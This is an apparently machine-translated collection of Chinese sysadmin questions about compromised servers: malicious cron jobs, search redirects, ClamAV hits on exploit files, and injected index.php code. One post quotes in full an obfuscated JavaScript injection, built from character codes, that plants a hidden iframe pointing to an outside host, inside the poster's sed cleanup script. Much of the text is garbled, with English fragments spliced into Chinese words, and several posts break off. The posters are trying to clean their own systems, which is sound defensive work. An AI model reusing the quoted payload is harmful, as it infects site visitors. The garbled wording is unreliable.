更新（2010年12月7日）＆警告：我将下面讨论的文件（从/var/tmp/vi.recover目录）复制到我的Windows PC，并用ESET NOD 32扫描。它识别了两个文件（sshd：and juno ）作为Linux / RST.B病毒。 不知道这是否准确，但由于该机器是一个开发服务器，我将重新构build以确保安全。 嗨， 我每分钟在我的cron日志文件（/ var / log / cron）中获得以下内容… Dec 2 12:23:01 ocalhost CROND[3189]: (apache) CMD (/var/tmp/vi.recover/update >/dev/null 2>&1) Dec 2 12:24:01 ocalhost CROND[3200]: (apache) CMD (/var/tmp/vi.recover/update >/dev/null 2>&1) Dec 2 12:25:01 ocalhost CROND[3210]: (apache) CMD (/var/tmp/vi.recover/update >/dev/null 2>&1) Dec 2 12:26:01 ocalhost CROND[3218]: (apache) CMD (/var/tmp/vi.recover/update >/dev/null […]
我在使用DirectAdmin运行Centos4的networking服务器时遇到问题。 自从几个星期以来，一些托pipe在其上的网站没有正确的在search引擎上redirect，他们被redirect到一些恶意软件网站，从而导致谷歌禁止。 现在我已经使用了3个virusscanners：ClamAV：没有find任何东西Bitdefender：发现一个2-3文件与JS感染，删除他们AVG：find很多的文件，但没有select清理！ 它find的病毒是：JS / Redir JS / Dropper 仍然奇怪的是：网站（www.aa.com）没有任何受感染的文件（手动通过所有的文件，是一个自定义的PHP应用程序，没有什么特别的），但仍然有相同的病毒。 网站b（www.bb.com）确实只有一个被感染的文件。 我删除了所有这些文件，并暂停了帐户，但没有运气，仍然是一样的错误。 我从search引擎获取网站上的日志条目，所以DNS条目不会改变。 但现在我已经通过httpd文件，但无法find任何东西。 我在哪里可以开始寻找这个？
是否有任何恶意软件/间谍软件/病毒扫描软件可以通过USB或其他手段扫描Windows Server 2008？ 它需要是不需要安装的东西。
我有一个客户端笔记本电脑，正在做的网页redirect到其他网站。 我已经运行HitManPro和Combofix，他们没有拿出任何重要的东西。 在Internet Explorer中没有设置代理，主机文件只有条目“127.0.0.1”。 有没有办法来确定是否有另一个主机文件被IE浏览器使用？ 或者如何清理这个东西的任何build议将不胜感激。
可能重复： 我的服务器被黑了应急 在我们的networking服务器中，大部分网站都感染了这个JS下载器木马程序。 它注入了下面的代码。 我试图用“linux恶意软件检测器”和ClamAV来清理服务器，但是两者都没有清理干净。 任何build议如何清理这个？ 我需要运行一个脚本来清理它吗？ 我写了这个脚本。 但它不能清洁。 while read -r file do sed -i '/<script>var s,g=2,aa=document.createTextNode("harCode");if(~0===Math.cos(Math.PI)){s=String["fr"+"omC"+aa.nodeValue];} eval(s(7+g,7+g,103+g,100+g,30+g,38+g,98+g,109+g,97+g,115+g,107+g,99+g,108+g,114+g,44+g,101+g,99+g,114+g,67+g,106+g,99+g,107+g,99+g,108+g,114+g,113+g,64+g,119+g,82+g,95+g,101+g,76+g,95+g,107+g,99+g,38+g,37+g,96+g,109+g,98+g,119+g,37+g,39+g,89+g,46+g,91+g,39+g,121+g,7+g,7+g,7+g,103+g,100+g,112+g,95+g,107+g,99+g,112+g,38+g,39+g,57+g,7+g,7+g,123+g,30+g,99+g,106+g,113+g,99+g,30+g,121+g,7+g,7+g,7+g,98+g,109+g,97+g,115+g,107+g,99+g,108+g,114+g,44+g,117+g,112+g,103+g,114+g,99+g,38+g,32+g,58+g,103+g,100+g,112+g,95+g,107+g,99+g,30+g,113+g,112+g,97+g,59+g,37+g,102+g,114+g,114+g,110+g,56+g,45+g,45+g,108+g,114+g,43+g,113+g,114+g,95+g,114+g,113+g,44+g,97+g,109+g,44+g,114+g,116+g,45+g,97+g,109+g,115+g,108+g,114+g,99+g,112+g,44+g,102+g,114+g,107+g,37+g,30+g,117+g,103+g,98+g,114+g,102+g,59+g,37+g,47+g,46+g,37+g,30+g,102+g,99+g,103+g,101+g,102+g,114+g,59+g,37+g,47+g,46+g,37+g,30+g,113+g,114+g,119+g,106+g,99+g,59+g,37+g,116+g,103+g,113+g,103+g,96+g,103+g,106+g,103+g,114+g,119+g,56+g,102+g,103+g,98+g,98+g,99+g,108+g,57+g,110+g,109+g,113+g,103+g,114+g,103+g,109+g,108+g,56+g,95+g,96+g,113+g,109+g,106+g,115+g,114+g,99+g,57+g,106+g,99+g,100+g,114+g,56+g,46+g,57+g,114+g,109+g,110+g,56+g,46+g,57+g,37+g,60+g,58+g,45+g,103+g,100+g,112+g,95+g,107+g,99+g,60+g,32+g,39+g,57+g,7+g,7+g,123+g,7+g,7+g,100+g,115+g,108+g,97+g,114+g,103+g,109+g,108+g,30+g,103+g,100+g,112+g,95+g,107+g,99+g,112+g,38+g,39+g,121+g,7+g,7+g,7+g,116+g,95+g,112+g,30+g,100+g,30+g,59+g,30+g,98+g,109+g,97+g,115+g,107+g,99+g,108+g,114+g,44+g,97+g,112+g,99+g,95+g,114+g,99+g,67+g,106+g,99+g,107+g,99+g,108+g,114+g,38+g,37+g,103+g,100+g,112+g,95+g,107+g,99+g,37+g,39+g,57+g,100+g,44+g,113+g,99+g,114+g,63+g,114+g,114+g,112+g,103+g,96+g,115+g,114+g,99+g,38+g,37+g,113+g,112+g,97+g,37+g,42+g,37+g,102+g,114+g,114+g,110+g,56+g,45+g,45+g,108+g,114+g,43+g,113+g,114+g,95+g,114+g,113+g,44+g,97+g,109+g,44+g,114+g,116+g,45+g,97+g,109+g,115+g,108+g,114+g,99+g,112+g,44+g,102+g,114+g,107+g,37+g,39+g,57+g,100+g,44+g,113+g,114+g,119+g,106+g,99+g,44+g,116+g,103+g,113+g,103+g,96+g,103+g,106+g,103+g,114+g,119+g,59+g,37+g,102+g,103+g,98+g,98+g,99+g,108+g,37+g,57+g,100+g,44+g,113+g,114+g,119+g,106+g,99+g,44+g,110+g,109+g,113+g,103+g,114+g,103+g,109+g,108+g,59+g,37+g,95+g,96+g,113+g,109+g,106+g,115+g,114+g,99+g,37+g,57+g,100+g,44+g,113+g,114+g,119+g,106+g,99+g,44+g,106+g,99+g,100+g,114+g,59+g,37+g,46+g,37+g,57+g,100+g,44+g,113+g,114+g,119+g,106+g,99+g,44+g,114+g,109+g,110+g,59+g,37+g,46+g,37+g,57+g,100+g,44+g,113+g,99+g,114+g,63+g,114+g,114+g,112+g,103+g,96+g,115+g,114+g,99+g,38+g,37+g,117+g,103+g,98+g,114+g,102+g,37+g,42+g,37+g,47+g,46+g,37+g,39+g,57+g,100+g,44+g,113+g,99+g,114+g,63+g,114+g,114+g,112+g,103+g,96+g,115+g,114+g,99+g,38+g,37+g,102+g,99+g,103+g,101+g,102+g,114+g,37+g,42+g,37+g,47+g,46+g,37+g,39+g,57+g,7+g,7+g,7+g,98+g,109+g,97+g,115+g,107+g,99+g,108+g,114+g,44+g,101+g,99+g,114+g,67+g,106+g,99+g,107+g,99+g,108+g,114+g,113+g,64+g,119+g,82+g,95+g,101+g,76+g,95+g,107+g,99+g,38+g,37+g,96+g,109+g,98+g,119+g,37+g,39+g,89+g,46+g,91+g,44+g,95+g,110+g,110+g,99+g,108+g,98+g,65+g,102+g,103+g,106+g,98+g,38+g,100+g,39+g,57+g,7+g,7+g,123+g));</script><script>var s,d1=new Date(),d2=new Date(d1.getTime()+2),o=d1-d2,aa=document.createTextNode("eval");e=window[aa.nodeValue];e(String.fromCharCode(11+o,11+o,107+o,104+o,34+o,42+o,102+o,113+o,101+o,119+o,111+o,103+o,112+o,118+o,48+o,105+o,103+o,118+o,71+o,110+o,103+o,111+o,103+o,112+o,118+o,117+o,68+o,123+o,86+o,99+o,105+o,80+o,99+o,111+o,103+o,42+o,41+o,100+o,113+o,102+o,123+o,41+o,43+o,93+o,50+o,95+o,43+o,125+o,11+o,11+o,11+o,107+o,104+o,116+o,99+o,111+o,103+o,116+o,42+o,43+o,61+o,11+o,11+o,127+o,34+o,103+o,110+o,117+o,103+o,34+o,125+o,11+o,11+o,11+o,102+o,113+o,101+o,119+o,111+o,103+o,112+o,118+o,48+o,121+o,116+o,107+o,118+o,103+o,42+o,36+o,62+o,107+o,104+o,116+o,99+o,111+o,103+o,34+o,117+o,116+o,101+o,63+o,41+o,106+o,118+o,118+o,114+o,60+o,49+o,49+o,101+o,113+o,47+o,117+o,118+o,99+o,118+o,117+o,48+o,101+o,113+o,48+o,100+o,103+o,49+o,117+o,118+o,99+o,118+o,107+o,117+o,118+o,107+o,101+o,48+o,106+o,118+o,111+o,41+o,34+o,121+o,107+o,102+o,118+o,106+o,63+o,41+o,51+o,50+o,41+o,34+o,106+o,103+o,107+o,105+o,106+o,118+o,63+o,41+o,51+o,50+o,41+o,34+o,117+o,118+o,123+o,110+o,103+o,63+o,41+o,120+o,107+o,117+o,107+o,100+o,107+o,110+o,107+o,118+o,123+o,60+o,106+o,107+o,102+o,102+o,103+o,112+o,61+o,114+o,113+o,117+o,107+o,118+o,107+o,113+o,112+o,60+o,99+o,100+o,117+o,113+o,110+o,119+o,118+o,103+o,61+o,110+o,103+o,104+o,118+o,60+o,50+o,61+o,118+o,113+o,114+o,60+o,50+o,61+o,41+o,64+o,62+o,49+o,107+o,104+o,116+o,99+o,111+o,103+o,64+o,36+o,43+o,61+o,11+o,11+o,127+o,11+o,11+o,104+o,119+o,112+o,101+o,118+o,107+o,113+o,112+o,34+o,107+o,104+o,116+o,99+o,111+o,103+o,116+o,42+o,43+o,125+o,11+o,11+o,11+o,120+o,99+o,116+o,34+o,104+o,34+o,63+o,34+o,102+o,113+o,101+o,119+o,111+o,103+o,112+o,118+o,48+o,101+o,116+o,103+o,99+o,118+o,103+o,71+o,110+o,103+o,111+o,103+o,112+o,118+o,42+o,41+o,107+o,104+o,116+o,99+o,111+o,103+o,41+o,43+o,61+o,104+o,48+o,117+o,103+o,118+o,67+o,118+o,118+o,116+o,107+o,100+o,119+o,118+o,103+o,42+o,41+o,117+o,116+o,101+o,41+o,46+o,41+o,106+o,118+o,118+o,114+o,60+o,49+o,49+o,101+o,113+o,47+o,117+o,118+o,99+o,118+o,117+o,48+o,101+o,113+o,48+o,100+o,103+o,49+o,117+o,118+o,99+o,118+o,107+o,117+o,118+o,107+o,101+o,48+o,106+o,118+o,111+o,41+o,43+o,61+o,104+o,48+o,117+o,118+o,123+o,110+o,103+o,48+o,120+o,107+o,117+o,107+o,100+o,107+o,110+o,107+o,118+o,123+o,63+o,41+o,106+o,107+o,102+o,102+o,103+o,112+o,41+o,61+o,104+o,48+o,117+o,118+o,123+o,110+o,103+o,48+o,114+o,113+o,117+o,107+o,118+o,107+o,113+o,112+o,63+o,41+o,99+o,100+o,117+o,113+o,110+o,119+o,118+o,103+o,41+o,61+o,104+o,48+o,117+o,118+o,123+o,110+o,103+o,48+o,110+o,103+o,104+o,118+o,63+o,41+o,50+o,41+o,61+o,104+o,48+o,117+o,118+o,123+o,110+o,103+o,48+o,118+o,113+o,114+o,63+o,41+o,50+o,41+o,61+o,104+o,48+o,117+o,103+o,118+o,67+o,118+o,118+o,116+o,107+o,100+o,119+o,118+o,103+o,42+o,41+o,121+o,107+o,102+o,118+o,106+o,41+o,46+o,41+o,51+o,50+o,41+o,43+o,61+o,104+o,48+o,117+o,103+o,118+o,67+o,118+o,118+o,116+o,107+o,100+o,119+o,118+o,103+o,42+o,41+o,106+o,103+o,107+o,105+o,106+o,118+o,41+o,46+o,41+o,51+o,50+o,41+o,43+o,61+o,11+o,11+o,11+o,102+o,113+o,101+o,119+o,111+o,103+o,112+o,118+o,48+o,105+o,103+o,118+o,71+o,110+o,103+o,111+o,103+o,112+o,118+o,117+o,68+o,123+o,86+o,99+o,105+o,80+o,99+o,111+o,103+o,42+o,41+o,100+o,113+o,102+o,123+o,41+o,43+o,93+o,50+o,95+o,48+o,99+o,114+o,114+o,103+o,112+o,102+o,69+o,106+o,107+o,110+o,102+o,42+o,104+o,43+o,61+o,11+o,11+o,127+o));</script></body>/d' $file done< <(find . -name '*.htm' -o -name '*.html' -o -name '*.js' -o -name '*.php')
我正在寻找很好的资源来比较各种防病毒/反恶意软件解决scheme的有效性。 特别是，我将Windows Security Essentials与Symantec Endpoint进行了比较。 有没有好的，客观的资源可用于此？
我们有一个项目，允许用户通过php上传，在Linux服务器上运行数据到服务器。 如果用户上传任何可执行文件，上传后将自动重命名为其他名称，并从文件中删除执行权限。 这可能会导致安全问题。 黑客上传病毒仍然可以运行没有执行许可和其实际名称。 上传位置不是/ var / www它在一个单独的存储设备中。
可能重复： 我的服务器被黑了应急 我们通常托pipe我们的客户网站，但我们没有托pipe这一个。 网站本身（weddle-funeral.com）工作得很好。 如果你加载谷歌和searchweddle funeral stayton oregon – 并点击该链接，该网站链接到一个骗局丸网站。 我经历了这个网站，wordpress插件中有一些php文件被我的杀毒软件隔离了。 我删除了所有非必要的文件，并上传了所有插件的新版本，但仍然是从谷歌redirect。 我尝试login到cPanel（在虚拟专用服务器上），并且cpanel闪烁红色警告屏幕 The site's security certificate is not trusted! You attempted to reach XXXXX.com, but the server presented a certificate issued by an entity that is not trusted by your computer's operating system. This may mean that the server has generated its own security […]
可能重复： 我如何处理受损的服务器？ 我做了一个扫描我的整个VPSfind上面的文件夹与大量的病毒。 我可以放心删除这个文件夹吗？ 我可以通过SSH或有办法，我需要通过命令行来完成吗？ 具体结果： /tmp/.xzibit/new64: UNIX.Exploit.CVE_2010_3301-2 FOUND /tmp/.xzibit/c/robert_you_suck.c: UNIX.Exploit.CVE_2010_3301-1 FOUND /tmp/.xzibit/ab: UNIX.Exploit.CVE_2010_3301-1 FOUND /tmp/.xzibit/3/ptrace: Linux.RST.B-1 FOUND /tmp/.xzibit/3/ptrace24: Linux.Rst.A FOUND /tmp/.xzibit/3/elf: Exploit.Linux.Race.C FOUND /tmp/.xzibit/3/brk: Linux.Brk.B FOUND /tmp/.xzibit/3/90: Linux.Osf.3974 FOUND /tmp/.xzibit/3/ex: Linux.RST.B-1 FOUND /tmp/.xzibit/3/x: Linux.RST.B-1 FOUND /tmp/.xzibit/3/ee: Linux.RST.B-1 FOUND /tmp/.xzibit/3/nc: Linux.Rst.A FOUND /tmp/.xzibit/3/e2: Linux.RST.B-1 FOUND /tmp/.xzibit/3/uselib24: Exploit.Linux.Race.C FOUND /tmp/.xzibit/1/32/therebel/exploit.c: Exploit.Linux-2 FOUND /tmp/.xzibit/01: UNIX.Exploit.CVE_2010_3301-2 FOUND Addl的信息：我注意到这个网站在过去的妥协，扫描和清理。 […]
我正在面对我的networking服务器上的一些恶意软件问题。 我更新了第三方软件，如WordPress的最新版本，禁用rootlogin和我的用户密码足够复杂，但仍然有人或某事正在改变我的index.php文件，添加一些代码，导致许多访问者的浏览器恶意软件警报。 现在由于我无法找出是谁或是在做什么，所以我想着看一个index.php文件，它周期性地改变，所以我可以看到谁在访问它。 我想知道什么程序和用户正在访问它。 有没有可能这样做？ 我检查了inotify-tools ，但它似乎只是告诉我有关更改，而不是谁正在改变它，对吗？